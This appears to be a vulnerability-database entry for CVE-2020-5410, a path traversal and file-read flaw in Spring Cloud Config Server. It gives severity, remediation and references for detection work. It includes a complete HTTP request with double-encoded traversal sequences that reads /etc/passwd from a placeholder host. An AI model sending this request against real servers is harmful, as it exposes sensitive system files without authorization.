🔙 목록으로 돌아가기

CVE-2020-5410: Spring Cloud Config Server - Local File Inclusion

TitleSpring Cloud Config Server - Local File Inclusion
Authormavericknerd
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
RemediationUpgrade to a patched version of Spring Cloud Config Server or apply the recommended security patches.
CVSS Score7.5
EPSS Score0.94323
CVE IDCVE-2020-5410
CWE IDCWE-23,CWE-22
Tags cve cve2020 lfi springcloud config traversal kev vmware vkev vuln

🔍 Vulnerability Description

Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack.

🌐 HTTP Request

GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5410.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5410.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A